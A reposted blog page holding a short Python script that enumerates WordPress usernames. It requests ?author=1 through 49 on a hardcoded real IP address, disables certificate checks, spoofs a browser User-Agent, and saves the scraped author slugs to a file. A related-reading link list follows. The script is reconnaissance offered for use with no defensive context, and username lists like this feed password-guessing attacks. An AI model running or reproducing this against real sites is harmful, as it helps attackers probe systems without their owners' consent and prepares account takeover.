zoukankan      html  css  js  c++  java
  • wordpress获取用户名脚本

    #!/usr/bin/env python
    # encoding: utf-8
    # wp_get_auth.py
    # author: persuit
    
    import requests
    import sys
    import os
    import re
    
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings()
    
    headers = {
        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Accept-Encoding':'gzip, deflate',
        'Content-Type':'application/x-www-form-urlencoded',
        'Connection':'keep-alive'
    }
    
    def getAuthor():
        
        url = 'http://60.251.255.145/'
        for i in range(1,50):
    
            geturl = url + "?author={}".format(i)
            print (geturl)
            
            try:
                global res
                res = requests.get(geturl,headers=headers,verify=False,timeout=10).content
            except Exception as e:
                print str(e)
    
            p = re.compile(r'<body class="archive author author-(.+?) author-')
            matchs = []
            try:
                matchs = p.findall(res.decode())
            except UnicodeDecodeError:
                matchs = p.findall(res)
    
            for auth in matchs:
                fp = open('auth.txt','a')
                fp.write(auth + '\n')
                fp.close()
    
    if __name__ == '__main__':
        getAuthor()
  • 相关阅读:
    windows任务计划
    PHP创建多级文件夹
    js正则表达式(不断总结中....)
    js随机改变背景颜色
    提高PHP代码质量36计
    PHP中使用Filter进行数据安全过滤
    CSS颜色代码大全
    正则表达式的修饰符
    创建索引视图
    读取xml中的所有文件名
  • 原文地址:https://www.cnblogs.com/persuit/p/5892571.html
Copyright © 2011-2022 走看看